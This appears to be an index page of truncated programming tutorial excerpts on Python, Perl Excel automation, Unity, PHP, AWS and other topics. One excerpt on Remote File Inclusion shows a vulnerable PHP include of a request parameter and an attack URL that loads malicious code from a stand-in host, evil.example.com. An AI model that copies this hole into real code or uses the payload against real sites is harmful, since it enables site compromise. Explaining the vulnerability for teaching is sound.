Tutorial by Examples: io

Python 2 includes a cmp function which allows you to determine if one object is less than, equal to, or greater than another object. This function can be used to pick a choice out of a list based on one of those three options. Suppose you need to print 'greater than' if x > y, 'less than' if x &...

Callbacks can be used to provide code to be executed after a method has completed: /** * @arg {Function} then continuation callback */ function doSomething(then) { console.log('Doing something'); then(); } // Do something, then execute callback to log 'done' doSomething(function () ...

#Get the active Worksheet my $Book = $Excel->Activewindow; my $Sheet = $Book->Activesheet; #List of Worksheet names my @list_Sheet = map { $_->{'Name'} } (in $Book->{Worksheets}); #Access a given Worksheet my $Sheet = $Book->Worksheets($list_Sheet[0]); #Add new Worksheet...

#Edit the value of a cell (2 methods) $Sheet->Range("A1")->{Value} = 1234; $Sheet->Cells(1,1)->{Value} = 1234; #Edit the values in a range of cells $Sheet->Range("A8:C9")->{Value} = [[ undef, 'Xyzzy', 'Plugh' ], [ 42, 'Pe...

#Insert a row before/after line 22 $Sheet->Rows("22:22")->Insert(xlUp, xlFormatFromRightOrBelow); $Sheet->Rows("23:23")->Insert(-4121,0); #xlDown is -4121 and that xlFormatFromLeftOrAbove is 0 #Delete a row $Sheet->Rows("22:22")->Delete(); ...

Allowing user credentials or the user's session to be sent with a CORS request allows the server to persist user data across CORS requests. This is useful if the server needs to check if the user is logged in before providing data (for example, only performing an action if a user is logged in - this...

When we want to count the number of items in an iterable, that meet some condition, we can use comprehension to produce an idiomatic syntax: # Count the numbers in `range(1000)` that are even and contain the digit `9`: print (sum( 1 for x in range(1000) if x % 2 == 0 and '9' in str...

Functionality in metaclasses can be changed so that whenever a class is built, a string is printed to standard output, or an exception is thrown. This metaclass will print the name of the class being built. class VerboseMetaclass(type): def __new__(cls, class_name, class_parents, class_dict)...

Equals is declared in the Object class itself. public virtual bool Equals(Object obj); By default, Equals has the following behavior: If the instance is a reference type, then Equals will return true only if the references are the same. If the instance is a value type, then Equals will...

Recursion can be used to receive multiple messages defmodule Processes do def receiver do receive do {:ok, val} -> IO.puts "Received Value: #{val}" _ -> IO.puts "Received something else" end...

Detailed instructions on getting jvm set up or installed.

Like the built-in python interactive shell, IPython is a REPL (Read-Evaluate-Print Loop) shell, with a variety of features that make it more pleasant to use for day-to-day Python development than the built-in REPL shell. Installation To install it: pip install ipython Or, via Anaconda: # To i...

There are three MonoBehaviour methods that can be made coroutines. Start() OnBecameVisible() OnLevelWasLoaded() This can be used to create, for example, scripts that execute only when the object is visible to a camera. using UnityEngine; using System.Collections; public class RotateObje...

ScriptableObjects are serialized objects that are not bound to scenes or gameobjects as MonoBehaviours are. To put it one way, they are data and methods bound to asset files inside your project. These ScriptableObject assets can be passed to MonoBehaviours or other ScriptableObjects, where their pub...

preg_match can be used to parse string using regular expression. The parts of expression enclosed in parenthesis are called subpatterns and with them you can pick individual parts of the string. $str = "<a href=\"http://example.org\">My Link</a>"; $pattern = "/...

Remote File Inclusion Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file. This example injects a remotely hosted file containing a malicious code: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/...

Pre-requisites This article demonstrated installing oozie-4.3.0 on Hadoop 2.7.3 Java 1.7+ Hadoop 2.x (here, 2.7.3) Maven3+ Unix box Step1: Dist file Get oozie tar.gz file from http://www-eu.apache.org/dist/oozie/4.3.0/ and extract it cd $HOME tar -xvf oozie-4.3.0.tar.gz Step2: Build ...

Detailed instructions on getting image-processing set up or installed.

Detailed instructions on getting vb6 set up or installed.

You can obtain information about EC2 instances using: aws ec2 describe-instances You can obtain information about specific EC2 instances using: aws ec2 describe-instances --instance-ids ... where ... contains one or more instance identifiers. For example: aws ec2 describe-instances --instan...